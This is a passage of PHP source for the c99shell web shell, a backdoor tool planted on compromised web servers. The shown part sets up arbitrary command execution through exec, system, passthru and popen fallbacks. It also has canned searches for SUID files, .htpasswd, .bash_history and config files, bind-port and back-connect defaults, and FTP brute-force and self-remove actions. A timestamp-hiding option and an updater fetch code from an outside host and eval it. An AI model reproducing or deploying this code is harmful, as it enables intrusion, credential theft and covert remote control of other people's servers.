1 | <?php |
---|
2 | //Starting calls |
---|
3 | if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} |
---|
4 | error_reporting(5); |
---|
5 | @ignore_user_abort(TRUE); |
---|
6 | @set_magic_quotes_runtime(0); |
---|
7 | $win = strtolower(substr(PHP_OS,0,3)) == "win"; |
---|
8 | define("starttime",getmicrotime()); |
---|
9 | if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} |
---|
10 | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); |
---|
11 | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} |
---|
12 | |
---|
13 | $shver = "1.0 pre-release build #16"; //Current version |
---|
14 | //CONFIGURATION AND SETTINGS |
---|
15 | if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} |
---|
16 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} |
---|
17 | else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL |
---|
18 | } |
---|
19 | |
---|
20 | $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. |
---|
21 | |
---|
22 | if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} |
---|
23 | if (empty($surl)) |
---|
24 | { |
---|
25 | $surl = "?".$includestr; //Self url |
---|
26 | } |
---|
27 | $surl = htmlspecialchars($surl); |
---|
28 | |
---|
29 | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. |
---|
30 | |
---|
31 | //Authentication |
---|
32 | $login = ""; //login |
---|
33 | //DON'T FORGOT ABOUT PASSWORD!!! |
---|
34 | $pass = ""; //password |
---|
35 | $md5_pass = ""; //md5-cryped pass. if null, md5($pass) |
---|
36 | |
---|
37 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") |
---|
38 | $login_txt = "Restricted area"; //http-auth message. |
---|
39 | $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; |
---|
40 | |
---|
41 | $gzipencode = TRUE; //Encode with gzip? |
---|
42 | |
---|
43 | $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) |
---|
44 | |
---|
45 | $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server |
---|
46 | $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server |
---|
47 | |
---|
48 | $filestealth = TRUE; //if TRUE, don't change modify- and access-time |
---|
49 | |
---|
50 | $donated_html = "<center><b>Owned by hacker</b></center>"; |
---|
51 | /* If you publish free shell and you wish |
---|
52 | add link to your site or any other information, |
---|
53 | put here your html. */ |
---|
54 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. |
---|
55 | |
---|
56 | $curdir = "./"; //start folder |
---|
57 | //$curdir = getenv("DOCUMENT_ROOT"); |
---|
58 | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) |
---|
59 | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) |
---|
60 | |
---|
61 | $log_email = "user@host.tld"; //Default e-mail for sending logs |
---|
62 | |
---|
63 | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending |
---|
64 | $sort_save = TRUE; //If TRUE then save sorting-position using cookies. |
---|
65 | |
---|
66 | // Registered file-types. |
---|
67 | // array( |
---|
68 | // "{action1}"=>array("ext1","ext2","ext3",...), |
---|
69 | // "{action2}"=>array("ext4","ext5","ext6",...), |
---|
70 | // ... |
---|
71 | // ) |
---|
72 | $ftypes = array( |
---|
73 | "html"=>array("html","htm","shtml"), |
---|
74 | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), |
---|
75 | "exe"=>array("sh","install","bat","cmd"), |
---|
76 | "ini"=>array("ini","inf"), |
---|
77 | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), |
---|
78 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), |
---|
79 | "sdb"=>array("sdb"), |
---|
80 | "phpsess"=>array("sess"), |
---|
81 | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") |
---|
82 | ); |
---|
83 | |
---|
84 | // Registered executable file-types. |
---|
85 | // array( |
---|
86 | // string "command{i}"=>array("ext1","ext2","ext3",...), |
---|
87 | // ... |
---|
88 | // ) |
---|
89 | // {command}: %f% = filename |
---|
90 | $exeftypes = array( |
---|
91 | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), |
---|
92 | "perl %f%" => array("pl","cgi") |
---|
93 | ); |
---|
94 | |
---|
95 | /* Highlighted files. |
---|
96 | array( |
---|
97 | i=>array({regexp},{type},{opentag},{closetag},{break}) |
---|
98 | ... |
---|
99 | ) |
---|
100 | string {regexp} - regular exp. |
---|
101 | int {type}: |
---|
102 | 0 - files and folders (as default), |
---|
103 | 1 - files only, 2 - folders only |
---|
104 | string {opentag} - open html-tag, e.g. "<b>" (default) |
---|
105 | string {closetag} - close html-tag, e.g. "</b>" (default) |
---|
106 | bool {break} - if TRUE and found match then break |
---|
107 | */ |
---|
108 | $regxp_highlight = array( |
---|
109 | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example |
---|
110 | array("config.php",1) // example |
---|
111 | ); |
---|
112 | |
---|
113 | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. |
---|
114 | // array (i=>{letter} ...); string {letter} - letter of a drive |
---|
115 | //$safemode_diskettes = range("a","z"); |
---|
116 | $hexdump_lines = 8;// lines in hex preview file |
---|
117 | $hexdump_rows = 24;// 16, 24 or 32 bytes in one line |
---|
118 | |
---|
119 | $nixpwdperpage = 100; // Get first N lines from /etc/passwd |
---|
120 | |
---|
121 | $bindport_pass = "c99"; // default password for binding |
---|
122 | $bindport_port = "31373"; // default port for binding |
---|
123 | $bc_port = "31373"; // default port for back-connect |
---|
124 | $datapipe_localport = "8081"; // default port for datapipe |
---|
125 | |
---|
126 | // Command-aliases |
---|
127 | if (!$win) |
---|
128 | { |
---|
129 | $cmdaliases = array( |
---|
130 | array("-----------------------------------------------------------", "ls -la"), |
---|
131 | array("find all suid files", "find / -type f -perm -04000 -ls"), |
---|
132 | array("find suid files in current dir", "find . -type f -perm -04000 -ls"), |
---|
133 | array("find all sgid files", "find / -type f -perm -02000 -ls"), |
---|
134 | array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), |
---|
135 | array("find config.inc.php files", "find / -type f -name config.inc.php"), |
---|
136 | array("find config* files", "find / -type f -name \"config*\""), |
---|
137 | array("find config* files in current dir", "find . -type f -name \"config*\""), |
---|
138 | array("find all writable folders and files", "find / -perm -2 -ls"), |
---|
139 | array("find all writable folders and files in current dir", "find . -perm -2 -ls"), |
---|
140 | array("find all service.pwd files", "find / -type f -name service.pwd"), |
---|
141 | array("find service.pwd files in current dir", "find . -type f -name service.pwd"), |
---|
142 | array("find all .htpasswd files", "find / -type f -name .htpasswd"), |
---|
143 | array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), |
---|
144 | array("find all .bash_history files", "find / -type f -name .bash_history"), |
---|
145 | array("find .bash_history files in current dir", "find . -type f -name .bash_history"), |
---|
146 | array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), |
---|
147 | array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), |
---|
148 | array("list file attributes on a Linux second extended file system", "lsattr -va"), |
---|
149 | array("show opened ports", "netstat -an | grep -i listen") |
---|
150 | ); |
---|
151 | } |
---|
152 | else |
---|
153 | { |
---|
154 | $cmdaliases = array( |
---|
155 | array("-----------------------------------------------------------", "dir"), |
---|
156 | array("show opened ports", "netstat -an") |
---|
157 | ); |
---|
158 | } |
---|
159 | |
---|
160 | $sess_cookie = "c99shvars"; // Cookie-variable name |
---|
161 | |
---|
162 | $usefsbuff = TRUE; //Buffer-function |
---|
163 | $copy_unset = FALSE; //Remove copied files from buffer after pasting |
---|
164 | |
---|
165 | //Quick launch |
---|
166 | $quicklaunch = array( |
---|
167 | array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), |
---|
168 | array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), |
---|
169 | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), |
---|
170 | array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), |
---|
171 | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), |
---|
172 | array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), |
---|
173 | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), |
---|
174 | array("<b>Encoder</b>",$surl."act=encoder&d=%d"), |
---|
175 | array("<b>Tools</b>",$surl."act=tools&d=%d"), |
---|
176 | array("<b>Proc.</b>",$surl."act=processes&d=%d"), |
---|
177 | array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), |
---|
178 | array("<b>Sec.</b>",$surl."act=security&d=%d"), |
---|
179 | array("<b>SQL</b>",$surl."act=sql&d=%d"), |
---|
180 | array("<b>PHP-code</b>",$surl."act=eval&d=%d"), |
---|
181 | array("<b>Update</b>",$surl."act=update&d=%d"), |
---|
182 | array("<b>Feedback</b>",$surl."act=feedback&d=%d"), |
---|
183 | array("<b>Self remove</b>",$surl."act=selfremove"), |
---|
184 | array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") |
---|
185 | ); |
---|
186 | |
---|
187 | //Highlight-code colors |
---|
188 | $highlight_background = "#c0c0c0"; |
---|
189 | $highlight_bg = "#FFFFFF"; |
---|
190 | $highlight_comment = "#6A6A6A"; |
---|
191 | $highlight_default = "#0000BB"; |
---|
192 | $highlight_html = "#1300FF"; |
---|
193 | $highlight_keyword = "#007700"; |
---|
194 | $highlight_string = "#000000"; |
---|
195 | |
---|
196 | @$f = $_REQUEST["f"]; |
---|
197 | @extract($_REQUEST["c99shcook"]); |
---|
198 | |
---|
199 | //END CONFIGURATION |
---|
200 | |
---|
201 | |
---|
202 | // \/Next code isn't for editing\/ |
---|
203 | @set_time_limit(0); |
---|
204 | $tmp = array(); |
---|
205 | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} |
---|
206 | $s = "!^(".implode("|",$tmp).")$!i"; |
---|
207 | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} |
---|
208 | if (!empty($login)) |
---|
209 | { |
---|
210 | if (empty($md5_pass)) {$md5_pass = md5($pass);} |
---|
211 | if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) |
---|
212 | { |
---|
213 | if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));} |
---|
214 | header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); |
---|
215 | header("HTTP/1.0 401 Unauthorized"); |
---|
216 | exit($accessdeniedmess); |
---|
217 | } |
---|
218 | } |
---|
219 | if ($act != "img") |
---|
220 | { |
---|
221 | $lastdir = realpath("."); |
---|
222 | chdir($curdir); |
---|
223 | if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} |
---|
224 | $sess_data = unserialize($_COOKIE["$sess_cookie"]); |
---|
225 | if (!is_array($sess_data)) {$sess_data = array();} |
---|
226 | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} |
---|
227 | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} |
---|
228 | |
---|
229 | $disablefunc = @ini_get("disable_functions"); |
---|
230 | if (!empty($disablefunc)) |
---|
231 | { |
---|
232 | $disablefunc = str_replace(" ","",$disablefunc); |
---|
233 | $disablefunc = explode(",",$disablefunc); |
---|
234 | } |
---|
235 | |
---|
236 | if (!function_exists("c99_buff_prepare")) |
---|
237 | { |
---|
238 | function c99_buff_prepare() |
---|
239 | { |
---|
240 | global $sess_data; |
---|
241 | global $act; |
---|
242 | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
---|
243 | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
---|
244 | $sess_data["copy"] = array_unique($sess_data["copy"]); |
---|
245 | $sess_data["cut"] = array_unique($sess_data["cut"]); |
---|
246 | sort($sess_data["copy"]); |
---|
247 | sort($sess_data["cut"]); |
---|
248 | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} |
---|
249 | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} |
---|
250 | } |
---|
251 | } |
---|
252 | c99_buff_prepare(); |
---|
253 | if (!function_exists("c99_sess_put")) |
---|
254 | { |
---|
255 | function c99_sess_put($data) |
---|
256 | { |
---|
257 | global $sess_cookie; |
---|
258 | global $sess_data; |
---|
259 | c99_buff_prepare(); |
---|
260 | $sess_data = $data; |
---|
261 | $data = serialize($data); |
---|
262 | setcookie($sess_cookie,$data); |
---|
263 | } |
---|
264 | } |
---|
265 | foreach (array("sort","sql_sort") as $v) |
---|
266 | { |
---|
267 | if (!empty($_GET[$v])) {$$v = $_GET[$v];} |
---|
268 | if (!empty($_POST[$v])) {$$v = $_POST[$v];} |
---|
269 | } |
---|
270 | if ($sort_save) |
---|
271 | { |
---|
272 | if (!empty($sort)) {setcookie("sort",$sort);} |
---|
273 | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} |
---|
274 | } |
---|
275 | if (!function_exists("str2mini")) |
---|
276 | { |
---|
277 | function str2mini($content,$len) |
---|
278 | { |
---|
279 | if (strlen($content) > $len) |
---|
280 | { |
---|
281 | $len = ceil($len/2) - 2; |
---|
282 | return substr($content, 0,$len)."...".substr($content,-$len); |
---|
283 | } |
---|
284 | else {return $content;} |
---|
285 | } |
---|
286 | } |
---|
287 | if (!function_exists("view_size")) |
---|
288 | { |
---|
289 | function view_size($size) |
---|
290 | { |
---|
291 | if (!is_numeric($size)) {return FALSE;} |
---|
292 | else |
---|
293 | { |
---|
294 | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} |
---|
295 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} |
---|
296 | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} |
---|
297 | else {$size = $size . " B";} |
---|
298 | return $size; |
---|
299 | } |
---|
300 | } |
---|
301 | } |
---|
302 | if (!function_exists("fs_copy_dir")) |
---|
303 | { |
---|
304 | function fs_copy_dir($d,$t) |
---|
305 | { |
---|
306 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
---|
307 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
---|
308 | $h = opendir($d); |
---|
309 | while (($o = readdir($h)) !== FALSE) |
---|
310 | { |
---|
311 | if (($o != ".") and ($o != "..")) |
---|
312 | { |
---|
313 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
---|
314 | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
---|
315 | if (!$ret) {return $ret;} |
---|
316 | } |
---|
317 | } |
---|
318 | closedir($h); |
---|
319 | return TRUE; |
---|
320 | } |
---|
321 | } |
---|
322 | if (!function_exists("fs_copy_obj")) |
---|
323 | { |
---|
324 | function fs_copy_obj($d,$t) |
---|
325 | { |
---|
326 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
---|
327 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
---|
328 | if (!is_dir(dirname($t))) {mkdir(dirname($t));} |
---|
329 | if (is_dir($d)) |
---|
330 | { |
---|
331 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
---|
332 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
---|
333 | return fs_copy_dir($d,$t); |
---|
334 | } |
---|
335 | elseif (is_file($d)) {return copy($d,$t);} |
---|
336 | else {return FALSE;} |
---|
337 | } |
---|
338 | } |
---|
339 | if (!function_exists("fs_move_dir")) |
---|
340 | { |
---|
341 | function fs_move_dir($d,$t) |
---|
342 | { |
---|
343 | $h = opendir($d); |
---|
344 | if (!is_dir($t)) {mkdir($t);} |
---|
345 | while (($o = readdir($h)) !== FALSE) |
---|
346 | { |
---|
347 | if (($o != ".") and ($o != "..")) |
---|
348 | { |
---|
349 | $ret = TRUE; |
---|
350 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
---|
351 | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} |
---|
352 | if (!$ret) {return $ret;} |
---|
353 | } |
---|
354 | } |
---|
355 | closedir($h); |
---|
356 | return TRUE; |
---|
357 | } |
---|
358 | } |
---|
359 | if (!function_exists("fs_move_obj")) |
---|
360 | { |
---|
361 | function fs_move_obj($d,$t) |
---|
362 | { |
---|
363 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
---|
364 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
---|
365 | if (is_dir($d)) |
---|
366 | { |
---|
367 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
---|
368 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
---|
369 | return fs_move_dir($d,$t); |
---|
370 | } |
---|
371 | elseif (is_file($d)) |
---|
372 | { |
---|
373 | if(copy($d,$t)) {return unlink($d);} |
---|
374 | else {unlink($t); return FALSE;} |
---|
375 | } |
---|
376 | else {return FALSE;} |
---|
377 | } |
---|
378 | } |
---|
379 | if (!function_exists("fs_rmdir")) |
---|
380 | { |
---|
381 | function fs_rmdir($d) |
---|
382 | { |
---|
383 | $h = opendir($d); |
---|
384 | while (($o = readdir($h)) !== FALSE) |
---|
385 | { |
---|
386 | if (($o != ".") and ($o != "..")) |
---|
387 | { |
---|
388 | if (!is_dir($d.$o)) {unlink($d.$o);} |
---|
389 | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} |
---|
390 | } |
---|
391 | } |
---|
392 | closedir($h); |
---|
393 | rmdir($d); |
---|
394 | return !is_dir($d); |
---|
395 | } |
---|
396 | } |
---|
397 | if (!function_exists("fs_rmobj")) |
---|
398 | { |
---|
399 | function fs_rmobj($o) |
---|
400 | { |
---|
401 | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); |
---|
402 | if (is_dir($o)) |
---|
403 | { |
---|
404 | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} |
---|
405 | return fs_rmdir($o); |
---|
406 | } |
---|
407 | elseif (is_file($o)) {return unlink($o);} |
---|
408 | else {return FALSE;} |
---|
409 | } |
---|
410 | } |
---|
411 | if (!function_exists("myshellexec")) |
---|
412 | { |
---|
413 | function myshellexec($cmd) |
---|
414 | { |
---|
415 | global $disablefunc; |
---|
416 | $result = ""; |
---|
417 | if (!empty($cmd)) |
---|
418 | { |
---|
419 | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} |
---|
420 | elseif (($result = `$cmd`) !== FALSE) {} |
---|
421 | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
---|
422 | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
---|
423 | elseif (is_resource($fp = popen($cmd,"r"))) |
---|
424 | { |
---|
425 | $result = ""; |
---|
426 | while(!feof($fp)) {$result .= fread($fp,1024);} |
---|
427 | pclose($fp); |
---|
428 | } |
---|
429 | } |
---|
430 | return $result; |
---|
431 | } |
---|
432 | } |
---|
433 | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} |
---|
434 | if (!function_exists("view_perms")) |
---|
435 | { |
---|
436 | function view_perms($mode) |
---|
437 | { |
---|
438 | if (($mode & 0xC000) === 0xC000) {$type = "s";} |
---|
439 | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} |
---|
440 | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} |
---|
441 | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} |
---|
442 | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} |
---|
443 | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} |
---|
444 | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} |
---|
445 | else {$type = "?";} |
---|
446 | |
---|
447 | $owner["read"] = ($mode & 00400)?"r":"-"; |
---|
448 | $owner["write"] = ($mode & 00200)?"w":"-"; |
---|
449 | $owner["execute"] = ($mode & 00100)?"x":"-"; |
---|
450 | $group["read"] = ($mode & 00040)?"r":"-"; |
---|
451 | $group["write"] = ($mode & 00020)?"w":"-"; |
---|
452 | $group["execute"] = ($mode & 00010)?"x":"-"; |
---|
453 | $world["read"] = ($mode & 00004)?"r":"-"; |
---|
454 | $world["write"] = ($mode & 00002)? "w":"-"; |
---|
455 | $world["execute"] = ($mode & 00001)?"x":"-"; |
---|
456 | |
---|
457 | if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} |
---|
458 | if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} |
---|
459 | if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} |
---|
460 | |
---|
461 | return $type.join("",$owner).join("",$group).join("",$world); |
---|
462 | } |
---|
463 | } |
---|
464 | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} |
---|
465 | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} |
---|
466 | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} |
---|
467 | if (!function_exists("parse_perms")) |
---|
468 | { |
---|
469 | function parse_perms($mode) |
---|
470 | { |
---|
471 | if (($mode & 0xC000) === 0xC000) {$t = "s";} |
---|
472 | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} |
---|
473 | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} |
---|
474 | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} |
---|
475 | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} |
---|
476 | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} |
---|
477 | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} |
---|
478 | else {$t = "?";} |
---|
479 | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; |
---|
480 | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; |
---|
481 | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; |
---|
482 | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); |
---|
483 | } |
---|
484 | } |
---|
485 | if (!function_exists("parsesort")) |
---|
486 | { |
---|
487 | function parsesort($sort) |
---|
488 | { |
---|
489 | $one = intval($sort); |
---|
490 | $second = substr($sort,-1); |
---|
491 | if ($second != "d") {$second = "a";} |
---|
492 | return array($one,$second); |
---|
493 | } |
---|
494 | } |
---|
495 | if (!function_exists("view_perms_color")) |
---|
496 | { |
---|
497 | function view_perms_color($o) |
---|
498 | { |
---|
499 | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} |
---|
500 | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} |
---|
501 | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} |
---|
502 | } |
---|
503 | } |
---|
504 | if (!function_exists("c99getsource")) |
---|
505 | { |
---|
506 | function c99getsource($fn) |
---|
507 | { |
---|
508 | global $c99sh_sourcesurl; |
---|
509 | $array = array( |
---|
510 | "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", |
---|
511 | "c99sh_bindport.c" => "c99sh_bindport_c.txt", |
---|
512 | "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", |
---|
513 | "c99sh_backconn.c" => "c99sh_backconn_c.txt", |
---|
514 | "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", |
---|
515 | "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", |
---|
516 | ); |
---|
517 | $name = $array[$fn]; |
---|
518 | if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} |
---|
519 | else {return FALSE;} |
---|
520 | } |
---|
521 | } |
---|
522 | if (!function_exists("c99sh_getupdate")) |
---|
523 | { |
---|
524 | function c99sh_getupdate($update = TRUE) |
---|
525 | { |
---|
526 | $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; |
---|
527 | $data = @file_get_contents($url); |
---|
528 | if (!$data) {return "Can't connect to update-server!";} |
---|
529 | else |
---|
530 | { |
---|
531 | $data = ltrim($data); |
---|
532 | $string = substr($data,3,ord($data{2})); |
---|
533 | if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} |
---|
534 | if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} |
---|
535 | if ($data{0} == "\x99" and $data{1} == "\x03") |
---|
536 | { |
---|
537 | $string = explode("\x01",$string); |
---|
538 | if ($update) |
---|
539 | { |
---|
540 | $confvars = array(); |
---|
541 | $sourceurl = $string[0]; |
---|
542 | $source = file_get_contents($sourceurl); |
---|
543 | if (!$source) {return "Can't fetch update!";} |
---|
544 | else |
---|
545 | { |
---|
546 | $fp = fopen(__FILE__,"w"); |
---|
547 | if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} |
---|
548 | else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} |
---|
549 | } |
---|
550 | } |
---|
551 | else {return "New version are available: ".$string[1];} |
---|
552 | } |
---|
553 | elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} |
---|
554 | else {return "Error in protocol: segmentation failed! (".$data.") ";} |
---|
555 | } |
---|
556 | } |
---|
557 | } |
---|
558 | if (!function_exists("mysql_dump")) |
---|
559 | { |
---|
560 | function mysql_dump($set) |
---|
561 | { |
---|
562 | global $shver; |
---|
563 | $sock = $set["sock"]; |
---|
564 | $db = $set["db"]; |
---|
565 | $print = $set["print"]; |
---|
566 | $nl2br = $set["nl2br"]; |
---|
567 | $file = $set["file"]; |
---|
568 | $add_drop = $set["add_drop"]; |
---|
569 | $tabs = $set["tabs"]; |
---|
570 | $onlytabs = $set["onlytabs"]; |
---|
571 | $ret = array(); |
---|
572 | $ret["err"] = array(); |
---|
573 | if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} |
---|
574 | if (empty($db)) {$db = "db";} |
---|
575 | if (empty($print)) {$print = 0;} |
---|
576 | if (empty($nl2br)) {$nl2br = 0;} |
---|
577 | if (empty($add_drop)) {$add_drop = TRUE;} |
---|
578 | if (empty($file)) |
---|
579 | { |
---|
580 | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; |
---|
581 | } |
---|
